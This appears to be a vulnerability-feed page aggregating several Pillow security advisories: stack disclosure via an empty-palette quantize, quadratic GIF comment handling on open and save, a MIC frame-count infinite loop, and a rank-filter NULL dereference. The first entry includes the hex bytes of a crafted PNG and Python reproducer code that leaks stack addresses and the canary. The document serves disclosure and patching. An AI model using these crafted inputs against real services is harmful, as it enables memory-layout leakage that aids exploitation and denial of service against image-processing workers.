Location: src/libImaging/Palette.c:216 in ImagingPaletteCacheUpdate()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

When an application lets a user supply the palette image for Pillow's `Image.quantize(palette=...)`, the user can get back 512 bytes of the server process's stack memory in the pixels of the returned image. An 80-byte PNG with an empty palette is enough, and the leaked bytes survive saving to PNG or GIF. In the runs examined, those bytes included memory addresses inside the stack, heap, libc, libpython and Pillow's own C module, along with the stack-protector canary.

The bug is in `ImagingPaletteCacheUpdate()` in `src/libImaging/Palette.c`. It fills a local `UINT8 c[512]` only inside loops bounded by `palette->size`. When the palette has zero entries, the array is never written, but it is still copied into the colour cache. `topalette()` in `src/libImaging/Convert.c` then emits the cached values as output pixel indices. `topalette()` rejects a `NULL` palette but not one with `size == 0`. Three inputs produce such a zero-entry `"P"` image: a PNG with a zero-length `PLTE` chunk opened with `Image.open()`, a colour-mapped TGA with colour-map length 0, or a bare `Image.new("P", ...)`. The attacker must control the *palette* image; the source image can be anything, and `RGB` sources are affected with either dither mode. There is no out-of-bounds access and no memory corruption. The consequence is a bounded stack disclosure that can reveal address layout and the canary of a long-lived worker, with no crash and no log entry. The attached reproducer quantizes a 512-colour strip against the empty-palette PNG and finds 8 of the 64 output words pointing into the process's own `[stack]` mapping, while a one-entry palette control yields all zeros. The behaviour was introduced in commit `54cb09d8b48c` (first released in 9.1.0). The `Image.new("P", ...)` route exists since 10.1.0.

## Details

`ImagingPaletteCacheUpdate()` (`src/libImaging/Palette.c:154`) computes, for one 8×8×8 box of the colour cache, the nearest palette index for each of the 512 slots into a local `UINT8 c[512]` and then copies `c[]` into the cache. `c[]` is only ever written inside `for (i = 0; i size; i++)`. When the palette has zero entries nothing writes it, the untouched stack bytes are copied into the cache, and `topalette()` (`src/libImaging/Convert.c:1145`) emits them as the output pixels of `Image.quantize(palette=...)`. The root cause is that `topalette()` only rejects a `NULL` palette, never one with `palette->size == 0`, while `ImagingPaletteCacheUpdate()` silently assumes `size >= 1`. A zero-entry `"P"` image is what `Image.open()` produces for a PNG whose `PLTE` chunk has length 0 (or a colour-mapped TGA with colour-map length 0); `Image.new("P", size)` without a subsequent `putpalette()` yields one as well. Both dither modes (`Dither.NONE` and the default Floyd-Steinberg) are affected for `RGB` sources (an `L` source takes the grayscale copy path and never consults the cache).

Showing it with the installed build, no special flags. The 80-byte PNG below is 4×4, bit depth 8, colour type 3, with a zero-length `PLTE` and an all-zero `IDAT`:

```
89504e470d0a1a0a 0000000d49484452 0000000400000004 0803000000 9e2f6e4c
00000000 504c5445 4ba88955
0000000b 49444154 789c6360c0040000140001 7dfe1eee
00000000 49454e44 ae426082
```

```python
pal = Image.open(io.BytesIO(png)); pal.load() # pal.mode == "P", pal.im.getpalette("RGB") == b""
src = Image.new("RGB", (512, 1))
src.putdata([(r*4, g*4, b*4) for r in range(8) for g in range(8) for b in range(8)])
out = src.quantize(palette=pal, dither=Image.Dither.NONE)
out.tobytes() # 512 bytes, different in every process
```

The 512 source colours are chosen so that each pixel lands in a distinct slot of the cache box for `r,g,b ∈ [0,32)`, in slot order, so `out.tobytes()` is exactly `c[0..511]`. Read as 64 little-endian 8-byte words and resolved against the same process's `/proc/self/maps`, a typical run gives 43 words that are addresses inside the process's own mappings — 8 in `[stack]`, several in `[heap]`, `libc.so.6`, `libpython3.12.so` and `_imaging.cpython-312-x86_64-linux-gnu.so` — and 3 words equal to the thread's stack-protector canary (read from `fs:0x28` for comparison). The same PNG with a 3-byte `PLTE` (one entry) gives 512 zero bytes in every run. `out.save(buf, "PNG")` succeeds, so the bytes leave the process in an ordinary image. Under valgrind (run against a `strip --strip-debug` copy of `_imaging.so` or a gcc build, since valgrind 3.19 cannot read clang's DWARF5) the report carries the origin `Uninitialised value was created by a stack allocation at ImagingPaletteCacheUpdate`. With `Dither.NONE` `topalette` only copies the bytes, so the first `use of uninitialised value` is flagged where Python first branches on the pixel data; with the default Floyd-Steinberg dither it is flagged inside `topalette` (inlined into `ImagingConvert`), where the cached index is used to address `palette->palette`.

### Code path

File → empty C palette. `PngImagePlugin.chunk_PLTE` (`src/PIL/PngImagePlugin.py:499-505`) stores the chunk payload whatever its length, `_open` wraps it as `ImagePalette.raw("RGB", b"")` (`:836-838`), and `Image.load()` realises it with `self.im.putpalette("RGB", "RGB", b"")` (`src/PIL/Image.py:989-990`). `_putpalette` (`src/_imaging.c:1850-1868`) rejects only more than 256 entries and sets `palette->size = palettesize * 8 / bits`, i.e. 0. `TgaImagePlugin._open` (`src/PIL/TgaImagePlugin.py:121-135`) builds the same empty palette from a colour-mapped TGA whose colour-map-length field is 0.

API → sink. `Image.quantize(palette=pal)` (`src/PIL/Image.py:1329-1338`) checks only `palette.mode == "P"` and calls `self.im.convert

Affected package ranges reported by GitHub:
Pillow: >= 9.1.0, < 13.0.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: Quadratic GIF comment concatenation allows DoS in Image.open()
https://kevwire.com/record/CVE-2026-112401
Pillow: Quadratic GIF comment concatenation allows DoS in Image.open() (Oct 21, 2026).
```
============================================================================
Quadratic GIF comment concatenation allows DoS in Image.open()
Location: src/PIL/GifImagePlugin.py:266 in GifImageFile._seek()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

Opening a crafted GIF file with `Image.open()` takes time that grows with the square of the file's size, so anyone who can submit an image to a service that uses Pillow can keep one worker busy at full processor load for a long time with a small file. A 2 MB file takes about 5 seconds to open, a 4 MB file about 35 seconds, and an 8 MB file about 3 minutes. An ordinary GIF of the same size opens in well under a second. The cost is paid inside `Image.open()` itself, with default settings, before the application has seen the image's size or format.
CVSS 6.9 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-74r2-7ff9-mjj2).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112401&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-74r2-7ff9-mjj2: https://github.com/advisories/GHSA-74r2-7ff9-mjj2
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112401&date=2026-10-25
```
============================================================================
Quadratic GIF comment concatenation allows DoS in Image.open()
Location: src/PIL/GifImagePlugin.py:266 in GifImageFile._seek()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

Opening a crafted GIF file with `Image.open()` takes time that grows with the square of the file's size, so anyone who can submit an image to a service that uses Pillow can keep one worker busy at full processor load for a long time with a small file. A 2 MB file takes about 5 seconds to open, a 4 MB file about 35 seconds, and an 8 MB file about 3 minutes. An ordinary GIF of the same size opens in well under a second. The cost is paid inside `Image.open()` itself, with default settings, before the application has seen the image's size or format.

The bug is in `GifImageFile._seek()` in `src/PIL/GifImagePlugin.py`, which builds `info["comment"]` by appending to an immutable `bytes` object with no size limit. It appends once per 255-byte sub-block (`comment += block`, line 261) and once per comment extension (`info["comment"] += b"\n" + comment`, line 266). Each append copies everything collected so far. A file made of many tiny comment extensions forces a full re-copy for each one. Because `_open()` ends with `self._seek(0)`, any code that only opens an uploaded file to identify it, read its dimensions, or make a thumbnail pays the full cost. The decompression-bomb check does not help, since the image is 1×1. Memory use stays linear, so the effect is processor exhaustion and latency, bounded by whatever upload size the service allows (about 1 second at 1 MB). This is the same kind of issue as the EPS open-phase slowdown fixed as CVE-2021-28677, here in the GIF comment handling. The quadratic pattern was introduced in commit b2b737b68b06 ("Allow arbitrary number of comment extension subblocks", November 2018) and has shipped since Pillow 5.4.0. The attached script builds 2 MB and 4 MB test files and compares each against a byte-identical control whose extensions are labelled as plain text instead of comment. The 4 MB comment file took about 34 seconds to open, against 0.26 seconds for its control. A patch that collects the pieces in a list and joins them once is also attached.

## Details

`GifImageFile._seek()` collects GIF comment extensions into `info["comment"]` using `bytes` concatenation, once per 255-byte sub-block and once per comment extension, with no limit on the total. `bytes` is immutable, so every `+=` allocates a new object and copies everything accumulated so far; the work done by `Image.open()` is therefore quadratic in the amount of comment data in frame 0.

A 1×1 GIF89a whose body is nothing but the 5-byte comment extension `21 FE 01 41 00` repeated makes this directly observable. `Image.open(BytesIO(data))` on such a file, stock build at this commit, 2-CPU machine:

| file size | comment extensions (`21 FE …`) | same bytes labelled plain-text extension (`21 01 …`) |
|---|---|---|
| 1 MB | 1.2 s | 0.09 s |
| 2 MB | 4.9 s | 0.13 s |
| 4 MB | 35 s | 0.26 s |
| 8 MB | 183 s | — |

The control column is the identical byte stream with the extension label changed from `0xFE` to `0x01`; it goes through the same loop and the same `self.data()` reads but is discarded instead of concatenated, and scales linearly. No `load()` is needed and no warning or exception is raised; `im.info["comment"]` simply ends up holding the multi-megabyte blob.

The code, `src/PIL/GifImagePlugin.py:229-281` (trimmed):

```python
 elif s == b"!":
 s = self.fp.read(1)
 block = self.data()
 …
 elif s[0] == 254:
 #
 # comment extension
 #
 comment = b""

 # Read this comment block
 while block:
 comment += block # :261 one copy per sub-block
 block = self.data()

 if "comment" in info:
 # If multiple comment blocks in frame, separate with \n
 info["comment"] += b"\n" + comment # :266 one copy per extension
 else:
 info["comment"] = comment
 s = b""
 continue
 …
 while self.data(): # every other extension: read and drop
 pass
```

`self.data()` (`:97-102`) reads one length byte and then that many bytes, so each call is cheap and bounded; the cost is entirely in the two `+=` lines. For a single comment extension of N bytes delivered as N/255 sub-blocks, line 261 copies about N²/510 bytes in total (4 MB → 2.3 s, 8 MB → 9.5 s, 16 MB → 38 s measured). Splitting the same data into many small comment extensions is worse, because line 266 re-copies the whole of `info["comment"]` once per extension: with 1-byte extensions a file of F bytes causes roughly F²/25 bytes of copying, which is the table above (growth ×4–7 per doubling once the buffer outgrows the CPU caches).

This runs during `Image.open()`: `_open()` ends with `self._seek(0)` (`:135`), so any application that merely opens an uploaded file to identify it, read its size, or thumbnail it pays the full cost before it has made any decision about the image. `Image._decompression_bomb_check` is not involved (the image is 1×1), and unlike PNG text chunks (`PngImagePlugin.MAX_TEXT_CHUNK` / `MAX_TEXT_MEMORY`) there is no cap on GIF comment size. Later frames repeat the same loop for their own comments via `seek()` / `n_frames`.

With both `+=` sites replaced by list-append and a single `b"".join()` (as in the attached patch), the same 16 MB single-extension file opens in 0.03 s, confirming the concatenation is the whole cost.

## Impact

Anyone who can get a GIF to a service that calls `PIL.Image.open()` on it — avatar/media uploads, thumbnailers, format sniffing, anything using `ImageOps`/`thumbnail()` on user files — can pin one worker process at 100 % CPU for about 5 s with a 2 MB file, 35 s with a 4 MB file and 3 minutes with an 8 MB file, under default settings, with the time growing quadratically in the permitted upload size. A benign GIF of the same size opens in well under a second, so request-cost assumptions based on fi

Affected package ranges reported by GitHub:
Pillow: >= 5.4.0, < 13.0.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: Infinite loop in MIC n_frames when the embedded TIFF
https://kevwire.com/record/CVE-2026-112390
Pillow: Infinite loop in MIC n_frames when the embedded TIFF (Oct 21, 2026).
```
============================================================================
Infinite loop in MIC n_frames when the embedded TIFF has 3+ IFDs
Location: src/PIL/MicImagePlugin.py:86 in MicImageFile.tell()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

A crafted 5.6 KB image file makes Pillow loop forever at 100% CPU when an application asks how many frames the image has. This only affects installations that have the optional `olefile` package. Any application that opens an untrusted image and then reads `im.n_frames` can have one worker tied up indefinitely. That includes the common "is this image animated?" check and re-saving with `save_all=True` to TIFF, PDF or WebP. The call never returns, raises no exception, and does not grow memory, so only an external watchdog stops it.
CVSS 8.2 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112390).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112390&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-22hg-r758-rrw9: https://github.com/advisories/GHSA-22hg-r758-rrw9
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-112390: https://nvd.nist.gov/vuln/detail/CVE-2026-112390
Vendor advisory (via NVD references): https://github.com/python-pillow/Pillow/security/advisories/GHSA-22hg-r758-rrw9
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112390&date=2026-10-25
```
============================================================================
Infinite loop in MIC n_frames when the embedded TIFF has 3+ IFDs
Location: src/PIL/MicImagePlugin.py:86 in MicImageFile.tell()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

A crafted 5.6 KB image file makes Pillow loop forever at 100% CPU when an application asks how many frames the image has. This only affects installations that have the optional `olefile` package. Any application that opens an untrusted image and then reads `im.n_frames` can have one worker tied up indefinitely. That includes the common "is this image animated?" check and re-saving with `save_all=True` to TIFF, PDF or WebP. The call never returns, raises no exception, and does not grow memory, so only an external watchdog stops it.

The file is a Microsoft Image Composer (MIC) container, which Pillow recognises by its magic bytes with no extension needed. Inside it is a TIFF stream with three chained image directories. `MicImageFile` subclasses `TiffImageFile` and overrides `seek()` and `tell()` so that a "frame" means one stream in the container. It still inherits `TiffImageFile.n_frames` (`src/PIL/TiffImagePlugin.py:1212`), which walks the embedded TIFF's directory chain with `self._seek(self.tell() + 1)` until `_n_frames` is set. Two things stop that walk from making progress:

- `MicImageFile.tell()` (`src/PIL/MicImagePlugin.py:86`) returns the constant stream index.
- `MicImageFile.seek()` calls `TiffImageFile._open()`, which resets `_n_frames` to `None`.

As a result, the loop re-parses the second directory forever whenever the embedded stream has three or more directories. `Image.open()`, `load()`, `thumbnail()`, `convert()`, `is_animated` and `ImageSequence` iteration do not hang on this file. The regression was introduced in 0b33a87b0d15 (April 2020, first released in 7.2.0), which removed `MicImageFile`'s own `n_frames` property. The attached reproducer builds the file in code and checks two controls, which return 3 and 1 frames as expected; the malicious file is still running when it is killed after 20 seconds.

## Details

`MicImageFile` (registered for `Image.open` whenever `olefile` is installed) subclasses `TiffImageFile` and redefines a "frame" as one OLE `*.ACI/Image` stream, overriding `seek()` and `tell()` accordingly. It does not override the `n_frames` property, so the inherited TIFF implementation runs, and that implementation relies on `tell()` advancing as IFDs are loaded. `MicImageFile.tell()` returns the OLE stream index, which never changes inside `n_frames`, so the loop re-parses the same IFD forever.

A 5632-byte OLE2 compound file whose `img0.ACI/Image` stream is a 351-byte TIFF with three chained 1×1 IFDs is enough. `Image.open()` on it succeeds (format `MIC`, detected by the OLE magic, no extension needed); evaluating `im.n_frames` then never returns and keeps one core at 100 %. A Python stack taken 27 s in is

```
 File "src/PIL/TiffImagePlugin.py", line 1622 in _setup
 File "src/PIL/TiffImagePlugin.py", line 1271 in _seek
 File "src/PIL/TiffImagePlugin.py", line 1219 in n_frames
```

and instrumenting `_seek` shows it being called with `frame=1`, `tell()==0`, `_frame_pos==[8, 122]`, `_n_frames is None` on every iteration — identical state, so the loop is non-terminating, not merely slow. The same 351 TIFF bytes opened directly give `n_frames == 3` in milliseconds, and the same container around a 1-IFD TIFF gives `n_frames == 1`.

The loop, `src/PIL/TiffImagePlugin.py:1212`:

```python
 @property
 def n_frames(self) -> int:
 current_n_frames = self._n_frames
 if current_n_frames is None:
 current = self.tell()
 self._seek(len(self._frame_pos))
 while self._n_frames is None:
 self._seek(self.tell() + 1) # 1219
 self.seek(current)
```

and the overrides that break its progress assumption, `src/PIL/MicImagePlugin.py:76`:

```python
 def seek(self, frame: int) -> None:
 …
 self.fp = self.ole.openstream(filename)
 TiffImagePlugin.TiffImageFile._open(self) # 82: resets _n_frames to None
 self.frame = frame

 def tell(self) -> int:
 return self.frame # 87: OLE stream index, not TIFF __frame
```

For a plain TIFF, `_seek(k)` (`TiffImagePlugin.py:1236`) loads IFDs up to `k`, appending each offset to `_frame_pos`, setting `_n_frames` when an IFD's next-pointer is 0 (or already seen), and setting the private `__frame = k`; `TiffImageFile.tell()` returns `__frame`, so `self.tell() + 1` walks the chain to its end.

For a MIC file, `Image.open` → `MicImageFile._open` sets `self._n_frames = len(self.images)` at line 69, but then calls `self.seek(0)` → `TiffImageFile._open` (line 82), which unconditionally sets `self._n_frames = None` (`TiffImagePlugin.py:1203`) and `_seek(0)`s into the embedded stream. With the 3-IFD stream, IFD 0 has a non-zero next pointer, so `_n_frames` stays `None` after open. `n_frames` then runs: `current = self.tell()` is `0` (the OLE index); `_seek(len(_frame_pos))` = `_seek(1)` loads IFD 1, whose next pointer is also non-zero and not yet in `_frame_pos`, so `_n_frames` is still `None`. The `while` body computes `self.tell() + 1` = `0 + 1` and calls `_seek(1)` again; `len(_frame_pos)` is already 2, so nothing new is loaded — IFD 1 is re-read via `tag_v2.load` and `_setup()` and the state is unchanged. This repeats indefinitely; IFD 2 is never reached. Two chained IFDs are not enough (IFD 1's next pointer of 0 sets `_n_frames = 2` on the first `_seek(1)`); three or more are.

`Tests/test_file_mic.py::test_n_frames` passes only because `hopper.mic`'s stream has a single IFD, so `_seek(0)` sets `_n_frames = 1` and the loop is never entered; the `len(self.images)` assignment at line 69 is only consumed by the initial `_seek_check(0)` and is overwritten before any caller can read `n_frames`.

A side effect of the same mismatch: with a 2-IFD stream `n_frames` returns 2 (TIFF IFDs) while `seek(1)` indexes `self.images[1

Affected package ranges reported by GitHub:
Pillow: >= 7.2.0, < 13.0.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: Quadratic GIF comment copying during save
https://kevwire.com/record/CVE-2026-112891
Pillow: Quadratic GIF comment copying during save (Oct 21, 2026).
On Pillow 12.3.0 and upstream `main` (`ad277e2761b489681e71b51e91367d46b0ceabb9`), a GIF with a long comment makes `_get_global_header()` copy portions of the comment repeatedly when saving, including comments carried over from untrusted images. I suggest provisional **Moderate** severity for crafted-image CPU denial of service, with CVSS-B 6.9 assuming a network service automatically opens unauthenticated uploads and they are resaved as GIFs; impact depends on input-size, concurrency, and worker CPU limits.
CVSS 6.9 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-fc9g-5qg7-mf45).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112891&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-fc9g-5qg7-mf45: https://github.com/advisories/GHSA-fc9g-5qg7-mf45
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112891&date=2026-10-25
On Pillow 12.3.0 and upstream `main` (`ad277e2761b489681e71b51e91367d46b0ceabb9`), a GIF with a long comment makes `_get_global_header()` copy portions of the comment repeatedly when saving, including comments carried over from untrusted images. I suggest provisional **Moderate** severity for crafted-image CPU denial of service, with CVSS-B 6.9 assuming a network service automatically opens unauthenticated uploads and they are resaved as GIFs; impact depends on input-size, concurrency, and worker CPU limits.

Affected package ranges reported by GitHub:
pillow: >= 9.2.0, < 13.0.0
Action: GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: NULL dereference in ImagingExpand via rank filters on zero-size images
https://kevwire.com/record/CVE-2026-112392
Pillow: NULL dereference in ImagingExpand via rank filters on zero-size images (Oct 21, 2026).
```
============================================================================
NULL dereference in ImagingExpand via rank filters on zero-size images
Location: src/libImaging/Filter.c:79 in ImagingExpand()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

Applying Pillow's median, minimum, maximum or rank filter to an image with zero width or zero height crashes the whole Python process instead of raising an error. Empty images like this are easy to produce with ordinary calls, for example a crop box whose left and right edges (or top and bottom edges) are equal, or the second page of a crafted multi-page image file. An attacker who can supply crop coordinates or an uploaded file to an application that runs one of these filters can kill its worker process. The effect is a crash only, with no memory disclosure or corruption.
CVSS 8.2 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-27h8-gf7j-v5hc).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112392&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-27h8-gf7j-v5hc: https://github.com/advisories/GHSA-27h8-gf7j-v5hc
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-112392: https://nvd.nist.gov/vuln/detail/CVE-2026-112392
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112392&date=2026-10-25
```
============================================================================
NULL dereference in ImagingExpand via rank filters on zero-size images
Location: src/libImaging/Filter.c:79 in ImagingExpand()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

Applying Pillow's median, minimum, maximum or rank filter to an image with zero width or zero height crashes the whole Python process instead of raising an error. Empty images like this are easy to produce with ordinary calls, for example a crop box whose left and right edges (or top and bottom edges) are equal, or the second page of a crafted multi-page image file. An attacker who can supply crop coordinates or an uploaded file to an application that runs one of these filters can kill its worker process. The effect is a crash only, with no memory disclosure or corruption.

The fault is in `ImagingExpand()` in `src/libImaging/Filter.c`. This is the edge-padding step that `RankFilter.filter()` always runs through the core `expand()` method, so `MedianFilter`, `MinFilter` and `MaxFilter` go through it too. It fills the margin by copying the input's edge pixels, reading `imIn->image[y][0]` and rows `0` / `ysize-1`, and never checks that the input has any pixels. For an empty image, `ImagingAllocateArray` leaves the line pointers NULL, so the first read dereferences NULL and the process dies with SIGSEGV, in every mode.

Zero-size images reach this point through public API alone:

- `Image.crop()`, `ImageOps.crop()` and `Image.new()`;
- a multi-page TIFF opened by path whose second IFD declares `ImageLength = 0`, on which `seek(1)` and `load()` succeed.

